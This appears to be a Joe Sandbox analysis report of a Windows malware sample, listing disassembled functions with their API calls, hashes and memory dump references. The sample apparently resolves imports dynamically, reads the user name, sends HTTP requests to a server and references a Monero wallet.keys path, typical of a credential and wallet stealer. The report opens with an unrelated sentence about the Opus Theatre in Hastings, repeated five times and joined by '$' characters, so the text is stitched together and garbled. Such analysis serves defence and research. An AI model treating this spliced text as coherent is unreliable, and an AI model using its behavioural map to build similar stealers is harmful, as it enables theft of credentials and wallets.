British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.
API String ID: 1542196881-2218711628
Opcode ID: dead8f4430503be1681f9af603bcbbc72235d5472bdef746680043e4560c0033
Instruction ID: ecd6a28944c45def1800a647b67c366bb1fb44ad406fead3bb97e9507d248cc1
Opcode Fuzzy Hash: dead8f4430503be1681f9af603bcbbc72235d5472bdef746680043e4560c0033
Instruction Fuzzy Hash: 3541BD617F3684FAC629BBB4885EEDE3B165F42702F61D1C8EA23122C7CBB06504491B

Function 002E4880 Relevance: 28.5, APIs: 11, Strings: 5, Instructions: 479
networkstringfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 002FA7A0: lstrcpy.KERNEL32(?,00000000), ref: 002FA7E6

Part of subcall function 002E47B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 002E4839
Part of subcall function 002E47B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 002E4849

Part of subcall function 002FA740: lstrcpy.KERNEL32(00300E17,00000000), ref: 002FA788

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 002E4915
StrCmpCA.SHLWAPI(?,0132F360), ref: 002E493A
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 002E4ABA
lstrlen.KERNEL32(00000000,00000000,?,?,?,?,00300DDB,00000000,?,?,00000000,?,",00000000,?,0132F300), ref: 002E4DE8
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 002E4E04
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 002E4E18
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 002E4E49
InternetCloseHandle.WININET(00000000), ref: 002E4EAD
InternetCloseHandle.WININET(00000000), ref: 002E4EC5
HttpOpenRequestA.WININET(00000000,0132F2D0,?,0132EB40,00000000,00000000,00400100,00000000), ref: 002E4B15

Part of subcall function 002FA9B0: lstrlen.KERNEL32(?,01328BA0,?,\Monero\wallet.keys,00300E17), ref: 002FA9C5
Part of subcall function 002FA9B0: lstrcpy.KERNEL32(00000000), ref: 002FAA04
Part of subcall function 002FA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 002FAA12

Part of subcall function 002FA8A0: lstrcpy.KERNEL32(?,00300E17), ref: 002FA905

Part of subcall function 002FA920: lstrcpy.KERNEL32(00000000,?), ref: 002FA972
Part of subcall function 002FA920: lstrcat.KERNEL32(00000000), ref: 002FA982

InternetCloseHandle.WININET(00000000), ref: 002E4ECF

Strings

", xrefs: 002E4BF2
", xrefs: 002E4D33
------, xrefs: 002E4B28
------, xrefs: 002E4C69
------, xrefs: 002E49BD

Memory Dump Source

Source File: 00000000.00000002.2101950818.00000000002E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true

Associated: 00000000.00000002.2101914382.00000000002E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.0000000000391000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.000000000039D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.00000000003C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.000000000052A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.000000000053E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000006CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102564814.00000000007DC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102701995.0000000000976000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102725282.0000000000977000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2e0000_file.jbxd

Yara matches

Similarity

API ID: Internet$lstrcpy$lstrlen$CloseHandle$HttpOpenRequestlstrcat$ConnectCrackFileReadSend
String ID: "$"$------$------$------
API String ID: 460715078-2180234286
Opcode ID: 61c80be6dc7e0acc479703387d73f15affa9bfa582d30f877cdcbb0d8557604e
Instruction ID: 357238d4c6b66167119d3c09de2ecefb7d09a38ed1ea33e06bd9bc90047ef5e2
Opcode Fuzzy Hash: 61c80be6dc7e0acc479703387d73f15affa9bfa582d30f877cdcbb0d8557604e
Instruction Fuzzy Hash: 2312CDB192111CAADB15EB50DD92FEEF378AF15780F5041B9B20A62091DFB02F59CF62

Function 002F7850 Relevance: 4.5, APIs: 3, Instructions: 36memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,002E11B7), ref: 002F7880
RtlAllocateHeap.NTDLL(00000000), ref: 002F7887
GetUserNameA.ADVAPI32(00000104,00000104), ref: 002F789F

Memory Dump Source

Source File: 00000000.00000002.2101950818.00000000002E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true

Associated: 00000000.00000002.2101914382.00000000002E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.0000000000391000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.000000000039D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.00000000003C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.000000000052A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.000000000053E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000006CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102564814.00000000007DC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102701995.0000000000976000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102725282.0000000000977000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2e0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateNameProcessUser
String ID:
API String ID: 1296208442-0
Opcode ID: cd4b4e4322c9a217f1b070b3910d457515ed1538d9790e71df0fafaccb2f83af
Instruction ID: 7c649b083328a943a0a0c7b1156290c183245534b7b2ef2c7d52537bc06db7a7
Opcode Fuzzy Hash: cd4b4e4322c9a217f1b070b3910d457515ed1538d9790e71df0fafaccb2f83af
Instruction Fuzzy Hash: 62F04FB1944208ABC714DF98DD49FAEFBB8EB05751F10066AFA05A2680C77415058BA1

Function 002E1160 Relevance: 3.0, APIs: 2, Instructions: 15COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(?), ref: 002E116A
ExitProcess.KERNEL32 ref: 002E117E

Memory Dump Source

Source File: 00000000.00000002.2101950818.00000000002E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true

Associated: 00000000.00000002.2101914382.00000000002E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.0000000000391000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.000000000039D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.00000000003C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.000000000052A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.000000000053E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000006CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102564814.00000000007DC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102701995.0000000000976000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102725282.0000000000977000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2e0000_file.jbxd

Yara matches

Similarity

API ID: ExitInfoProcessSystem
String ID:
API String ID: 752954902-0
Opcode ID: b69bd3d45ab25c778ffc277f9c84f478c9bf042c664a1394368afc67190319b6
Instruction ID: c5f4ae9c91402c89bf47084959eff6e30c0100c76911368827bd8e08a5f37c75
Opcode Fuzzy Hash: b69bd3d45ab25c778ffc277f9c84f478c9bf042c664a1394368afc67190319b6
Instruction Fuzzy Hash: 37D05E7490030CDBCB10DFE0DC496EDBB78FB19311F040554D90562340EA305496CAAA

Function 002F9C10 Relevance: 200.2, APIs: 112, Strings: 2, Instructions: 684
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(75900000,013169A0), ref: 002F9C2D
GetProcAddress.KERNEL32(75900000,01316700), ref: 002F9C45
GetProcAddress.KERNEL32(75900000,01328F10), ref: 002F9C5E
GetProcAddress.KERNEL32(75900000,01328FA0), ref: 002F9C76
GetProcAddress.KERNEL32(75900000,0132D938), ref: 002F9C8E
GetProcAddress.KERNEL32(75900000,0132DAD0), ref: 002F9CA7
GetProcAddress.KERNEL32(75900000,0131B428), ref: 002F9CBF
GetProcAddress.KERNEL32(75900000,0132D9C8), ref: 002F9CD7
GetProcAddress.KERNEL32(75900000,0132D9F8), ref: 002F9CF0
GetProcAddress.KERNEL32(75900000,0132D920), ref: 002F9D08
GetProcAddress.KERNEL32(75900000,0132DAE8), ref: 002F9D20
GetProcAddress.KERNEL32(75900000,01316840), ref: 002F9D39
GetProcAddress.KERNEL32(75900000,013169E0), ref: 002F9D51
GetProcAddress.KERNEL32(75900000,01316860), ref: 002F9D69
GetProcAddress.KERNEL32(75900000,01316A00), ref: 002F9D82
GetProcAddress.KERNEL32(75900000,0132DB18), ref: 002F9D9A
GetProcAddress.KERNEL32(75900000,0132D950), ref: 002F9DB2
GetProcAddress.KERNEL32(75900000,0131B450), ref: 002F9DCB
GetProcAddress.KERNEL32(75900000,01316720), ref: 002F9DE3
GetProcAddress.KERNEL32(75900000,0132D9B0), ref: 002F9DFB
GetProcAddress.KERNEL32(75900000,0132DA58), ref: 002F9E14
GetProcAddress.KERNEL32(75900000,0132D968), ref: 002F9E2C
GetProcAddress.KERNEL32(75900000,0132D890), ref: 002F9E44
GetProcAddress.KERNEL32(75900000,01316880), ref: 002F9E5D
GetProcAddress.KERNEL32(75900000,0132D8C0), ref: 002F9E75
GetProcAddress.KERNEL32(75900000,0132D980), ref: 002F9E8D
GetProcAddress.KERNEL32(75900000,0132D8A8), ref: 002F9EA6
GetProcAddress.KERNEL32(75900000,0132D908), ref: 002F9EBE
GetProcAddress.KERNEL32(75900000,0132DB00), ref: 002F9ED6
GetProcAddress.KERNEL32(75900000,0132D8D8), ref: 002F9EEF
GetProcAddress.KERNEL32(75900000,0132D830), ref: 002F9F07
GetProcAddress.KERNEL32(75900000,0132DA28), ref: 002F9F1F
GetProcAddress.KERNEL32(75900000,0132D8F0), ref: 002F9F38
GetProcAddress.KERNEL32(75900000,01329978), ref: 002F9F50
GetProcAddress.KERNEL32(75900000,0132D848), ref: 002F9F68
GetProcAddress.KERNEL32(75900000,0132D998), ref: 002F9F81
GetProcAddress.KERNEL32(75900000,01316680), ref: 002F9F99
GetProcAddress.KERNEL32(75900000,0132D860), ref: 002F9FB1
GetProcAddress.KERNEL32(75900000,01316740), ref: 002F9FCA
GetProcAddress.KERNEL32(75900000,0132D9E0), ref: 002F9FE2
GetProcAddress.KERNEL32(75900000,0132D878), ref: 002F9FFA
GetProcAddress.KERNEL32(75900000,013164C0), ref: 002FA013
GetProcAddress.KERNEL32(75900000,01316660), ref: 002FA02B
LoadLibraryA.KERNEL32(0132DA10,?,002F5CA3,00300AEB,?,?,?,?,?,?,?,?,?,?,00300AEA,00300AE3), ref: 002FA03D
LoadLibraryA.KERNEL32(0132DA40,?,002F5CA3,00300AEB,?,?,?,?,?,?,?,?,?,?,00300AEA,00300AE3), ref: 002FA04E
LoadLibraryA.KERNEL32(0132DA70,?,002F5CA3,00300AEB,?,?,?,?,?,?,?,?,?,?,00300AEA,00300AE3), ref: 002FA060
LoadLibraryA.KERNEL32(0132DA88,?,002F5CA3,00300AEB,?,?,?,?,?,?,?,?,?,?,00300AEA,00300AE3), ref: 002FA072
LoadLibraryA.KERNEL32(0132DAA0,?,002F5CA3,00300AEB,?,?,?,?,?,?,?,?,?,?,00300AEA,00300AE3), ref: 002FA083
LoadLibraryA.KERNEL32(0132DAB8,?,002F5CA3,00300AEB,?,?,?,?,?,?,?,?,?,?,00300AEA,00300AE3), ref: 002FA095
LoadLibraryA.KERNEL32(0132DE00,?,002F5CA3,00300AEB,?,?,?,?,?,?,?,?,?,?,00300AEA,00300AE3), ref: 002FA0A7
LoadLibraryA.KERNEL32(0132DC80,?,002F5CA3,00300AEB,?,?,?,?,?,?,?,?,?,?,00300AEA,00300AE3), ref: 002FA0B8
GetProcAddress.KERNEL32(75FD0000,013165C0), ref: 002FA0DA
GetProcAddress.KERNEL32(75FD0000,0132DD58), ref: 002FA0F2
GetProcAddress.KERNEL32(75FD0000,013288A0), ref: 002FA10A
GetProcAddress.KERNEL32(75FD0000,0132DD40), ref: 002FA123
GetProcAddress.KERNEL32(75FD0000,01316500), ref: 002FA13B
GetProcAddress.KERNEL32(734B0000,0131B2C0), ref: 002FA160
GetProcAddress.KERNEL32(734B0000,01316300), ref: 002FA179
GetProcAddress.KERNEL32(734B0000,0131AED8), ref: 002FA191
GetProcAddress.KERNEL32(734B0000,0132DDD0), ref: 002FA1A9
GetProcAddress.KERNEL32(734B0000,0132DC98), ref: 002FA1C2
GetProcAddress.KERNEL32(734B0000,01316380), ref: 002FA1DA
GetProcAddress.KERNEL32(734B0000,013165E0), ref: 002FA1F2
GetProcAddress.KERNEL32(734B0000,0132DBD8), ref: 002FA20B
GetProcAddress.KERNEL32(763B0000,013162A0), ref: 002FA22C
GetProcAddress.KERNEL32(763B0000,01316520), ref: 002FA244
GetProcAddress.KERNEL32(763B0000,0132DB30), ref: 002FA25D
GetProcAddress.KERNEL32(763B0000,0132DCC8), ref: 002FA275
GetProcAddress.KERNEL32(763B0000,01316620), ref: 002FA28D
GetProcAddress.KERNEL32(750F0000,0131B2E8), ref: 002FA2B3
GetProcAddress.KERNEL32(750F0000,0131B298), ref: 002FA2CB
GetProcAddress.KERNEL32(750F0000,0132DB78), ref: 002FA2E3
GetProcAddress.KERNEL32(750F0000,01316540), ref: 002FA2FC
GetProcAddress.KERNEL32(750F0000,01316560), ref: 002FA314
GetProcAddress.KERNEL32(750F0000,0131B310), ref: 002FA32C
GetProcAddress.KERNEL32(75A50000,0132DCE0), ref: 002FA352
GetProcAddress.KERNEL32(75A50000,01316400), ref: 002FA36A
GetProcAddress.KERNEL32(75A50000,01328930), ref: 002FA382
GetProcAddress.KERNEL32(75A50000,0132DE18), ref: 002FA39B
GetProcAddress.KERNEL32(75A50000,0132DC50), ref: 002FA3B3
GetProcAddress.KERNEL32(75A50000,01316600), ref: 002FA3CB
GetProcAddress.KERNEL32(75A50000,01316320), ref: 002FA3E4
GetProcAddress.KERNEL32(75A50000,0132DB60), ref: 002FA3FC
GetProcAddress.KERNEL32(75A50000,0132DCF8), ref: 002FA414
GetProcAddress.KERNEL32(75070000,01316480), ref: 002FA436
GetProcAddress.KERNEL32(75070000,0132DDE8), ref: 002FA44E
GetProcAddress.KERNEL32(75070000,0132DCB0), ref: 002FA466
GetProcAddress.KERNEL32(75070000,0132DB48), ref: 002FA47F
GetProcAddress.KERNEL32(75070000,0132DB90), ref: 002FA497
GetProcAddress.KERNEL32(74E50000,013162C0), ref: 002FA4B8
GetProcAddress.KERNEL32(74E50000,01316360), ref: 002FA4D1
GetProcAddress.KERNEL32(75320000,013162E0), ref: 002FA4F2
GetProcAddress.KERNEL32(75320000,0132DD28), ref: 002FA50A
GetProcAddress.KERNEL32(6F060000,01316640), ref: 002FA530
GetProcAddress.KERNEL32(6F060000,013164A0), ref: 002FA548
GetProcAddress.KERNEL32(6F060000,01316580), ref: 002FA560
GetProcAddress.KERNEL32(6F060000,0132DBF0), ref: 002FA579
GetProcAddress.KERNEL32(6F060000,01316280), ref: 002FA591
GetProcAddress.KERNEL32(6F060000,013165A0), ref: 002FA5A9
GetProcAddress.KERNEL32(6F060000,01316340), ref: 002FA5C2
GetProcAddress.KERNEL32(6F060000,013163E0), ref: 002FA5DA
GetProcAddress.KERNEL32(6F060000,InternetSetOptionA), ref: 002FA5F1
GetProcAddress.KERNEL32(6F060000,HttpQueryInfoA), ref: 002FA607
GetProcAddress.KERNEL32(74E00000,0132DBA8), ref: 002FA629
GetProcAddress.KERNEL32(74E00000,01328990), ref: 002FA641
GetProcAddress.KERNEL32(74E00000,0132DBC0), ref: 002FA659
GetProcAddress.KERNEL32(74E00000,0132DC08), ref: 002FA672
GetProcAddress.KERNEL32(74DF0000,013164E0), ref: 002FA693
GetProcAddress.KERNEL32(6F9C0000,0132DC20), ref: 002FA6B4
GetProcAddress.KERNEL32(6F9C0000,01316420), ref: 002FA6CD
GetProcAddress.KERNEL32(6F9C0000,0132DDB8), ref: 002FA6E5
GetProcAddress.KERNEL32(6F9C0000,0132DD10), ref: 002FA6FD

Strings

HttpQueryInfoA, xrefs: 002FA5FC
InternetSetOptionA, xrefs: 002FA5E5

Memory Dump Source

Source File: 00000000.00000002.2101950818.00000000002E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true

Associated: 00000000.00000002.2101914382.00000000002E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.0000000000391000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.000000000039D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.00000000003C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.000000000052A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.000000000053E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000006CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102564814.00000000007DC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102701995.0000000000976000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102725282.0000000000977000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2e0000_file.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: HttpQueryInfoA$InternetSetOptionA
API String ID: 2238633743-1775429166
Opcode ID: 28aa634db3a45087b6dac17e01ba8a214047dafbe709513bbfa272e9b6833160
Instruction ID: 051c6b9c27a69a5b160e6faa3404d68b5db3a5412d8aa16114d765faf613aa3b
Opcode Fuzzy Hash: 28aa634db3a45087b6dac17e01ba8a214047dafbe709513bbfa272e9b6833160
Instruction Fuzzy Hash: 416261B5500200AFC768DFA8EE8895637F9FF6E701708452AE605C3225D739A44BFF56

Function 002E6280 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 191
networkfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 002FA7A0: lstrcpy.KERNEL32(?,00000000), ref: 002FA7E6

Part of subcall function 002E47B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 002E4839
Part of subcall function 002E47B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 002E4849

Part of subcall function 002FA740: lstrcpy.KERNEL32(00300E17,00000000), ref: 002FA788

InternetOpenA.WININET(00300DFE,00000001,00000000,00000000,00000000), ref: 002E62E1
StrCmpCA.SHLWAPI(?,0132F360), ref: 002E6303
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 002E6335
HttpOpenRequestA.WININET(00000000,GET,?,0132EB40,00000000,00000000,00400100,00000000), ref: 002E6385
InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 002E63BF
HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 002E63D1
HttpQueryInfoA.WININET(00000000,00000013,?,00000100,00000000), ref: 002E63FD
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 002E646D
InternetCloseHandle.WININET(00000000), ref: 002E64EF
InternetCloseHandle.WININET(00000000), ref: 002E64F9
InternetCloseHandle.WININET(00000000), ref: 002E6503

Strings

ERROR, xrefs: 002E64C9
ERROR, xrefs: 002E6407
GET, xrefs: 002E637C

Memory Dump Source

Source File: 00000000.00000002.2101950818.00000000002E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true

Associated: 00000000.00000002.2101914382.00000000002E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.0000000000391000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.000000000039D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.00000000003C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.000000000052A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.000000000053E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000006CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102564814.00000000007DC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102701995.0000000000976000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102725282.0000000000977000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2e0000_file.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleHttp$OpenRequestlstrcpy$ConnectCrackFileInfoOptionQueryReadSendlstrlen
String ID: ERROR$ERROR$GET
API String ID: 3749127164-2509457195
Opcode ID: 564e20367718d11809847eb1df2d0181690548cccfbf5709dda1e486d9143214
Instruction ID: b02dcdffbd2ae5f3ce5a32747d5cacd1e51830da52cce8343df5f51004545b26
Opcode Fuzzy Hash: 564e20367718d11809847eb1df2d0181690548cccfbf5709dda1e486d9143214
Instruction Fuzzy Hash: 37716E71A50248ABDB24DF90CC49BEEB774BF14740F5081A8F20A6B1D0DBB46A89CF51

Function 002F5510 Relevance: 23.1, APIs: 7, Strings: 6, Instructions: 383
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 002FA820: lstrlen.KERNEL32(002E4F05,?,?,002E4F05,00300DDE), ref: 002FA82B
Part of subcall function 002FA820: lstrcpy.KERNEL32(00300DDE,00000000), ref: 002FA885

Part of subcall function 002FA740: lstrcpy.KERNEL32(00300E17,00000000), ref: 002FA788

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 002F5644
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 002F56A1
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 002F5857

Part of subcall function 002FA7A0: lstrcpy.KERNEL32(?,00000000), ref: 002FA7E6

Part of subcall function 002F51F0: StrCmpCA.SHLWAPI(00000000,ERROR), ref: 002F5228

Part of subcall function 002FA8A0: lstrcpy.KERNEL32(?,00300E17), ref: 002FA905

Part of subcall function 002F52C0: StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 002F5318
Part of subcall function 002F52C0: lstrlen.KERNEL32(00000000), ref: 002F532F
Part of subcall function 002F52C0: StrStrA.SHLWAPI(00000000,00000000), ref: 002F5364
Part of subcall function 002F52C0: lstrlen.KERNEL32(00000000), ref: 002F5383
Part of subcall function 002F52C0: lstrlen.KERNEL32(00000000), ref: 002F53AE

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 002F578B
StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 002F5940
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 002F5A0C
Sleep.KERNEL32(0000EA60), ref: 002F5A1B

Strings

ERROR, xrefs: 002F577D
ERROR, xrefs: 002F5636
ERROR, xrefs: 002F5693
ERROR, xrefs: 002F5932
ERROR, xrefs: 002F59FE
ERROR, xrefs: 002F5849

Memory Dump Source

Source File: 00000000.00000002.2101950818.00000000002E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true

Associated: 00000000.00000002.2101914382.00000000002E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.0000000000391000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.000000000039D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.00000000003C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.000000000052A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.000000000053E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000006CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102564814.00000000007DC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102701995.0000000000976000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102725282.0000000000977000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2e0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpylstrlen$Sleep
String ID: ERROR$ERROR$ERROR$ERROR$ERROR$ERROR
API String ID: 507064821-2791005934
Opcode ID: 1e6aa38756018142567ba505f1a2b9f2aba1e791e1ebb6801fdccadd200bebf0
Instruction ID: e74dee8c3965b43f4f5efd56f671ce58bc7b9852e27154ad8f861851e835e7f0
Opcode Fuzzy Hash: 1e6aa38756018142567ba505f1a2b9f2aba1e791e1ebb6801fdccadd200bebf0
Instruction Fuzzy Hash: CCE1EEB192010C9BCB14FBA0DD56EFDB378AF54380F508538A60B56195EF746A2ECF92

Function 002F17A0 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 162
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

StrCmpCA.SHLWAPI(00000000,block), ref: 002F17C5
ExitProcess.KERNEL32 ref: 002F17D1

Strings

block, xrefs: 002F17B7

Memory Dump Source

Source File: 00000000.00000002.2101950818.00000000002E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true

Associated: 00000000.00000002.2101914382.00000000002E0000.00000004.00000001.01000000.00000003.sdmpDownload File
